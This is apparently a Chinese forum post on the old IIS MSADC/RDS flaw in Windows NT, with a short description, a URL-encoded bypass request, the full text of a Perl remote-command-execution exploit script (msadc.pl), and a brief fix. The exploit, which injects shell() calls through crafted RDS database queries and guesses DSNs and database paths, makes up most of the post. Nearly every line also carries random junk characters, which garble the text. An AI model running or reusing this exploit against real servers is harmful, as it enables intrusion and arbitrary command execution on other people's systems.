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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) g"v6UZ\  
58t~? 2E  
涉及程序: )WsR 8tk  
Microsoft NT server ~T!D:2G  
X/FRe[R  
描述: ~toR)=Yv  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 z?WkHQ9  
*Rgl(Ba  
详细: =Y*zF>#lP  
如果你没有时间读详细内容的话,就删除: E&>;a!0b]  
c:\Program Files\Common Files\System\Msadc\msadcs.dll &"DD&87N%  
有关的安全问题就没有了。 8 @r>`c  
P5__[aTD  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 eN0lJ~  
zQoJ8i>  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ?f:ND1jU  
关于利用ODBC远程漏洞的描述,请参看: <K <|G  
IwR=@Ne8  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm F&HvSt}l5  
Ls'8  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 r=#v@]z B  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp \jr-^n]  
~!6 I.u  
这里不再论述。 &?# YjU"  
_ygdv\^Tet  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1rV9dM#F  
Tsocc5gWZ*  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset WS"v"J%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! d?><+!a  
2=$ F*B>9  
Sg1 ,9[pb  
#将下面这段保存为txt文件,然后: "perl -x 文件名" rBZ00}  
m5 l&  
#!perl [6)vD@  
# 0aGAF ]  
# MSADC/RDS 'usage' (aka exploit) script W?0u_F  
# aT8A +=K6  
# by rain.forest.puppy 2[Xe:)d  
# F6" QsFG  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +1Pu29B0  
# beta test and find errors! 4MRN{W6  
G{0f* cH)  
use Socket; use Getopt::Std; Ni#y=cb  
getopts("e:vd:h:XR", \%args); AjINO}b  
+'a G{/J  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Kr%`L/%  
J7k=5Fqej;  
if (!defined $args{h} && !defined $args{R}) { w[J.?v&^  
print qq~ Ox6^=D "  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 4Yd$RP  
-h <host> = host you want to scan (ip or domain) 0 gr#<(  
-d <seconds> = delay between calls, default 1 second 9mEhZ"  
-X = dump Index Server path table, if available soqnr" 1  
-v = verbose Y{L|ja%9?  
-e = external dictionary file for step 5 ]#dZLm_  
=<U'Jtu6'  
Or a -R will resume a command session 1wW4bg 5  
>Vb V<ak  
~; exit;} x)T07,3:  
u HXb=U  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; EI@ep~  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ~HXZ-*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} cd$,,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); BA_l*h%=Cc  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} qGgdWDn`  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ?{>5IjL)en  
Hzc^fC  
if (!defined $args{R}){ $ret = &has_msadc; %j?7O00 @  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} +N!/>w]n  
>|JMvbje  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" #}xPOz7:  
. "cmd /c "; "H}ae7@  
$in=<STDIN>; chomp $in; QM'>)!8  
$command="cmd /c " . $in ; HA. O"A8`  
42 Sk`  
if (defined $args{R}) {&load; exit;} <@=w4\5j9  
Zh_ P  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;^P0+d^5C  
&try_btcustmr; VM"*@T  
IO?6F@(  
print "\nStep 2: Trying to make our own DSN..."; IeBb#Qedz  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; jce2lXMm  
>{juw&Uu  
print "\nStep 3: Trying known DSNs..."; !Ly1!;<  
&known_dsn; dH0wVI<z  
]yA_N>k2K  
print "\nStep 4: Trying known .mdbs..."; znd fIt^  
&known_mdb; JP 8v2) p  
fh e%5#3  
if (defined $args{e}){ /f -\ 3  
print "\nStep 5: Trying dictionary of DSN names..."; P87qUC  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } #:/-8Z(0  
L!kbDbqn  
print "Sorry Charley...maybe next time?\n"; jVdB- y/r  
exit; kam \dn04  
L@6T~  
############################################################################## sTO9>~sj  
xr-v"-  
sub sendraw { # ripped and modded from whisker )9>E} SU/  
sleep($delay); # it's a DoS on the server! At least on mine... h:'wtn@l(  
my ($pstr)=@_; 44cy_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @KC;"u'C  
die("Socket problems\n"); Toc="F`SW  
if(connect(S,pack "SnA4x8",2,80,$target)){ \+sP<'~M  
select(S); $|=1; =%oKYQ  
print $pstr; my @in=<S>; Hsz).u  
select(STDOUT); close(S); d<4q%y'X{  
return @in; z c, Q  
} else { die("Can't connect...\n"); }} \}mn"y  
< 5#}EiT5  
############################################################################## V .VV:`S  
x$aFJ CL  
sub make_header { # make the HTTP request 7 {#^ zr  
my $msadc=<<EOT J2~oIe2!+  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Zw"K69A)  
User-Agent: ACTIVEDATA :0B' b  
Host: $ip ?]u=5gqUU  
Content-Length: $clen rui]_Fn]I  
Connection: Keep-Alive `@|Kx\y4=j  
En/EQ\T@F  
ADCClientVersion:01.06 tXnD>H YV  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ;p'Ej'E  
G8_|w6  
--!ADM!ROX!YOUR!WORLD! G[5z3  
Content-Type: application/x-varg Vy[ m%sEP  
Content-Length: $reqlen x(/{]$h  
Vtr5<:eEx  
EOT iZ-"l3) D  
; $msadc=~s/\n/\r\n/g; YE\s<$  
return $msadc;} ^J Y]w^u  
Kwa$5qZI  
############################################################################## w*"h#^1z  
w>ap8><4  
sub make_req { # make the RDS request l TRQ/B  
my ($switch, $p1, $p2)=@_; s>^$: wzu  
my $req=""; my $t1, $t2, $query, $dsn; W{v-(pW  
Cn>RUGoUsI  
if ($switch==1){ # this is the btcustmr.mdb query .IJgkP)!]  
$query="Select * from Customers where City=" . make_shell(); {Jj vF  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . KcQe1mT!+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #$[}JiuL/  
i+HHOT  
elsif ($switch==2){ # this is general make table query U}Aoz|  
$query="create table AZZ (B int, C varchar(10))"; fer~NlX  
$dsn="$p1";} 9xm'0 '  
$pg1Av7l  
elsif ($switch==3){ # this is general exploit table query !Yan}{A,  
$query="select * from AZZ where C=" . make_shell(); a yQB@2%  
$dsn="$p1";} x:O;Z~ |.  
.;xt{kK  
elsif ($switch==4){ # attempt to hork file info from index server oj1,DU  
$query="select path from scope()"; gP?uLnzvi  
$dsn="Provider=MSIDXS;";} CAl]Kpc  
.j)f'<;%  
elsif ($switch==5){ # bad query }}'0r2S  
$query="select"; M'4$z^@Z  
$dsn="$p1";} ?yq1\G)]  
fmhqm"  
$t1= make_unicode($query); Tn7(A^h'  
$t2= make_unicode($dsn); dNL<O   
$req = "\x02\x00\x03\x00"; ]wQ#8}zO  
$req.= "\x08\x00" . pack ("S1", length($t1)); E{Ux|r~  
$req.= "\x00\x00" . $t1 ; M[@=m[#a  
$req.= "\x08\x00" . pack ("S1", length($t2)); _a 40lcP  
$req.= "\x00\x00" . $t2 ; &m>sGCZ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; \%FEQa0u  
return $req;} kr|u ||  
J!GWP:b3  
############################################################################## U- a+LS  
@m=xCg.Z  
sub make_shell { # this makes the shell() statement `bdCom  
return "'|shell(\"$command\")|'";} 2-<i#nA3  
1[;~>t@C  
############################################################################## NJ;D Qv  
XOe8(cXa9  
sub make_unicode { # quick little function to convert to unicode ~X`_ g/5X  
my ($in)=@_; my $out; TvzqJ=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } o=1M<dL  
return $out;} -W:te7  
l?N|Gj;ZFZ  
############################################################################## 9y~5@/3 2R  
D# "ppa}  
sub rdo_success { # checks for RDO return success (this is kludge) |aT&rpt   
my (@in) = @_; my $base=content_start(@in); 8a^E{x@HT  
if($in[$base]=~/multipart\/mixed/){ GuV.7&!x  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} H.HXwN/x  
return 0;} /Y>$w$S  
 jx3J$5  
############################################################################## i'$V'x'k  
[a<u cJ  
sub make_dsn { # this makes a DSN for us 12yr_   
my @drives=("c","d","e","f"); avb'J^}f  
print "\nMaking DSN: "; o-))R| ~z  
foreach $drive (@drives) { g.3a5#t  
print "$drive: "; ?4kM5NtP  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . TA.ugF)h  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" <R TAO2  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ld-Cb 3R^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ya<nD'%9  
return 0 if $2 eq "404"; # not found/doesn't exist \Tc<27-  
if($2 eq "200") { i58&o@.H<u  
foreach $line (@results) { CBqeO@M  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ;PO{ ips  
} return 0;} fq@r6\TI  
sUc_)  
############################################################################## {W[OjPC~F  
wN|;_~h2  
sub verify_exists { dOm@cs  
my ($page)=@_; fL #e4  
my @results=sendraw("GET $page HTTP/1.0\n\n"); g69^D  
return $results[0];} (9#$za>  
HinPO  
############################################################################## :6 , `M,  
i;u#<y{E  
sub try_btcustmr { ig Q,ZY1  
my @drives=("c","d","e","f"); cN#c25S>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^dR="N  
AG3iKk??T  
foreach $dir (@dirs) { 4O TuX!  
print "$dir -> "; # fun status so you can see progress B<99-7x3  
foreach $drive (@drives) { 'F\@KE -d  
print "$drive: "; # ditto #%~PNki  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; A#yZh\#  
$reqlenlen=length( "$reqlen" ); g[D(]t\#x  
$clen= 206 + $reqlenlen + $reqlen; EO&PabZWR  
W E-cq1)  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); eHQS\n  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 6aw1  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} f,jN"  
FZvh]ZX  
############################################################################## HX;JO[0  
eWN[EJI<  
sub odbc_error { }T)0:DF1,  
my (@in)=@_; my $base; Oc Gg'R7  
my $base = content_start(@in); qG]G0|f  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this wM-I*<L>  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; YB`;<+sY  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; BF="gZoU<  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0^0Q0A  
return $in[$base+4].$in[$base+5].$in[$base+6];} \>DMN #  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; "^Ax}Jr  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . d)R7#HLZ7  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ;R_H8vp  
G1=/G  
############################################################################## Z[, A>tJ  
0qCx.<"p8#  
sub verbose { Z\\'0yuY(  
my ($in)=@_; m,Fug1+N  
return if !$verbose; xJ);P.  
print STDOUT "\n$in\n";} 3pk=c-x  
]8m_+:`=  
############################################################################## i$z).S?1  
# :)yh]MP  
sub save { ![ce=9@t<  
my ($p1, $p2, $p3, $p4)=@_; 'yw7|i2  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; [ r<0[  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ru#CywK{{;  
close OUT;} IyV%tOy  
k"L?("~   
############################################################################## =o+js;3  
U WU PY  
sub load { aANzL  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; mdB~~j  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); KE_GC ;bQ  
@p=<IN>; close(IN); \7d T]VV  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); h{Zd, 9H  
$target= inet_aton($ip) || die("inet_aton problems"); \Wn0,%x2  
print "Resuming to $ip ..."; |EjMpRNE  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; :~ ; 48m  
if($p[1]==1) { {S Oy-  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; V49[XX  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; a9sbB0q-K@  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); t*Xo@KA  
if (rdo_success(@results)){print "Success!\n";} yQ/E0>Uj!  
else { print "failed\n"; verbose(odbc_error(@results));}} Z{ AF8r  
elsif ($p[1]==3){ XZew$Om[  
if(run_query("$p[3]")){ 's>./Pf  
print "Success!\n";} else { print "failed\n"; }} q qFN4AO  
elsif ($p[1]==4){ fhp+Ep!0Y  
if(run_query($drvst . "$p[3]")){ T:G8xI1 P  
print "Success!\n"; } else { print "failed\n"; }} m+LP5S  
exit;} 4r- CF#o  
r/e} DYL&  
############################################################################## ,mY3oyu  
zir?13N7  
sub create_table { C U 8s*  
my ($in)=@_; Dx*tolF  
$reqlen=length( make_req(2,$in,"") ) - 28; J^xIfV~ zt  
$reqlenlen=length( "$reqlen" ); ./r#\X)dc  
$clen= 206 + $reqlenlen + $reqlen; f8 vWN  
my @results=sendraw(make_header() . make_req(2,$in,"")); -n#fj;.2_  
return 1 if rdo_success(@results); pLtAusx  
my $temp= odbc_error(@results); verbose($temp); `}o{o  
return 1 if $temp=~/Table 'AZZ' already exists/; QZ?%xN(4  
return 0;} #BOLq`9 f  
kWm[Lt  
############################################################################## ig}H7U2q@  
yq]/r=e!k  
sub known_dsn { <%ZlJ_cM  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go in>.Tax*  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ZhnRsn9  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Q!`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); h#?)H7ft  
yE=tuHv(0  
foreach $dSn (@dsns) { 0m>?-/uDx  
print "."; *m.4)2u=  
next if (!is_access("DSN=$dSn")); v_L?n7c  
if(create_table("DSN=$dSn")){ t}m"rMbt  
print "$dSn successful\n"; U!D\Vd  
if(run_query("DSN=$dSn")){ ~H\1dCW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { "IMq +  
print "Something's borked. Use verbose next time\n";}}} print "\n";} &|#z" E^-  
~z&Ho  
############################################################################## k.K;7GZC  
3^2P7$W=   
sub is_access { A"pV 7 y  
my ($in)=@_; sA1 XtO<&7  
$reqlen=length( make_req(5,$in,"") ) - 28; .~Y% AI  
$reqlenlen=length( "$reqlen" ); b+!I_g4P  
$clen= 206 + $reqlenlen + $reqlen; 1WJ%n;  
my @results=sendraw(make_header() . make_req(5,$in,"")); NWt5)xl  
my $temp= odbc_error(@results); =!P  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }&qr"z4  
return 0;} vI1UFD D  
3lG=.yD  
############################################################################## e,I{+ ^P  
y_A7CG"^  
sub run_query { }v$T1Cw  
my ($in)=@_; .In8!hjYy4  
$reqlen=length( make_req(3,$in,"") ) - 28; >#8J@=iuqv  
$reqlenlen=length( "$reqlen" ); 5l,Q=V^@l  
$clen= 206 + $reqlenlen + $reqlen; YdiXj |k+  
my @results=sendraw(make_header() . make_req(3,$in,"")); l.AG^b  
return 1 if rdo_success(@results); f3M~2jbv'p  
my $temp= odbc_error(@results); verbose($temp); ow@1.5WL+  
return 0;} 0\a;} S'g#  
O}cg1Q8p  
############################################################################## q@8j[15  
M-+pYv#&P  
sub known_mdb { r5(-c]E7  
my @drives=("c","d","e","f","g"); mvrg!/0w  
my @dirs=("winnt","winnt35","winnt351","win","windows"); I$vM )+v=  
my $dir, $drive, $mdb; & GM&,  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; oMer+=vH  
w 7Y>B`wm?  
# this is sparse, because I don't know of many J2P5<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", s\#eD0|  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", WTZr{)e  
"\\system32\\certmdb.mdb", Lf} @v  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% "H!2{l{  
`Q~`Eq?@  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", wD'LX  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ^d[ s*,i?  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", W$_@9W(Bl  
"\\cfusion\\cfapps\\security\\realm_.mdb", wU= @,K  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;.wWw" )  
"\\cfusion\\database\\cfexamples.mdb", 6:o?@%  
"\\cfusion\\database\\cfsnippets.mdb", l: X]$2;  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "Ca?liy  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", a}]zwV&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", DU.nXwl]  
"\\cfusion\\database\\smpolicy.mdb", Tr@}  
"\\cfusion\\database\cypress.mdb", A! j4;=}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", KN"V(<!)~  
"\\website\\cgi-win\\dbsample.mdb", i'}Z>g5D  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", g,seqh%  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" =W Q_5}  
); #these are just E*_lT`Hzf  
foreach $drive (@drives) { bWAVBF  
foreach $dir (@dirs){ 0W1=9+c|X  
foreach $mdb (@sysmdbs) { wZV/]jmlEt  
print "."; B{0m0-l  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ xo46L\  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ua -cX3E  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ D; 0iNcit  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; <r%QaQRbm  
} else { print "Something's borked. Use verbose next time\n"; }}}}} l'2a?1/q  
C$1}c[  
foreach $drive (@drives) { {t;{={$  
foreach $mdb (@mdbs) { Ba],ONM4k  
print "."; `Al5(0Q  
if(create_table($drv . $drive . $dir . $mdb)){ ^BruRgc+  
print "\n" . $drive . $dir . $mdb . " successful\n"; =O)dHY}  
if(run_query($drv . $drive . $dir . $mdb)){ u K`T1*_  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 27t23@{YL  
} else { print "Something's borked. Use verbose next time\n"; }}}} x@I(G "  
} 54Baz  
1o;+.]B  
############################################################################## :(|;J<R%_  
&.Jp,Xt)  
sub hork_idx { l(T CF  
print "\nAttempting to dump Index Server tables...\n"; 8W]6/st?]  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Z5uetS^  
$reqlen=length( make_req(4,"","") ) - 28; Qn77ZpL:LJ  
$reqlenlen=length( "$reqlen" ); \I@=EF- &  
$clen= 206 + $reqlenlen + $reqlen; z~/z>_y$nv  
my @results=sendraw2(make_header() . make_req(4,"","")); R^.oM1qu|  
if (rdo_success(@results)){ Fvy__ qcHi  
my $max=@results; my $c; my %d; Q`qHzb~%  
for($c=19; $c<$max; $c++){ L>Y>b4oy3  
$results[$c]=~s/\x00//g; 1A4!zqT;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ag-\(i;K]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; <|M cE  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _(}{=:M?  
$d{"$1$2"}="";} '*5I5'[ X,  
foreach $c (keys %d){ print "$c\n"; } c]>s(/}T  
} else {print "Index server doesn't seem to be installed.\n"; }} gp:,DC?(  
a{7>7%[  
############################################################################## BpL,<r,  
iw\RQ 0  
sub dsn_dict { b8QA>]6A  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); P"J(O<(1-:  
while(<IN>){ `/:ZB6  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; x1\,WOrmK  
next if (!is_access("DSN=$dSn")); /2K4ka<?7  
if(create_table("DSN=$dSn")){ ~n$VCLa  
print "$dSn successful\n"; W>Eee?  
if(run_query("DSN=$dSn")){ ]A:n]mL  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { r^mP'#  
print "Something's borked. Use verbose next time\n";}}} >;eWgQ6V  
print "\n"; close(IN);} L'LZK  
^[no Gjy  
############################################################################## _ cK"y2  
 `Nn=6[]  
sub sendraw2 { # ripped and modded from whisker QAigbSn]  
sleep($delay); # it's a DoS on the server! At least on mine... 31 \l0Jg  
my ($pstr)=@_; vT V'D&x2  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |*5Kfxq  
die("Socket problems\n"); 5A,@$yp+  
if(connect(S,pack "SnA4x8",2,80,$target)){ PG<tic<?  
print "Connected. Getting data"; @vdBA hXk  
open(OUT,">raw.out"); my @in; Ah,X?0+  
select(S); $|=1; print $pstr; !rzbm&@  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} D<5;4Mb  
close(OUT); select(STDOUT); close(S); return @in;  ")MjR1p  
} else { die("Can't connect...\n"); }} yrOWC  
q~68)D(  
############################################################################## -&JUg o=  
;*^2,_  
sub content_start { # this will take in the server headers QFMR~6 ?  
my (@in)=@_; my $c; U|QLc   
for ($c=1;$c<500;$c++) { 68 % = V>V  
if($in[$c] =~/^\x0d\x0a/){ j^#4!Ue  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +;uP) "Q/L  
else { return $c+1; }}} 6? I,sZW  
return -1;} # it should never get here actually Q>R jv.1  
hh/C{ l  
############################################################################## :ulOG{z  
RKoM49W  
sub funky { D#}t)$"  
my (@in)=@_; my $error=odbc_error(@in); [IT*>;b+?  
if($error=~/ADO could not find the specified provider/){ h>AK^fX  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; #=mLQSiQ  
exit;} xj8 yQ Y1  
if($error=~/A Handler is required/){ %5#ts/f  
print "\nServer has custom handler filters (they most likely are patched)\n"; l"70|~  
exit;} )Qe<XJH!  
if($error=~/specified Handler has denied Access/){ %M8 m 8 )  
print "\nServer has custom handler filters (they most likely are patched)\n"; \ng!qN  
exit;}} Fk(nf9M%  
DX>Yf}  
############################################################################## }+/j/es{]  
z,pKy Inw  
sub has_msadc { RCM;k;@8V  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); O# n<`;W  
my $base=content_start(@results); qWz%sT?C3L  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); bMe/jQuL.$  
return 0;} M)sM G C  
Cngi5._Lb  
######################## AA=zDB<N  
SI_u0j4%*  
M_ *KA  
解决方案: `sW+R=  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll z~8`xn,  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 4~8!3JH39  
'xK ,|U  
拿出来充数 哈哈
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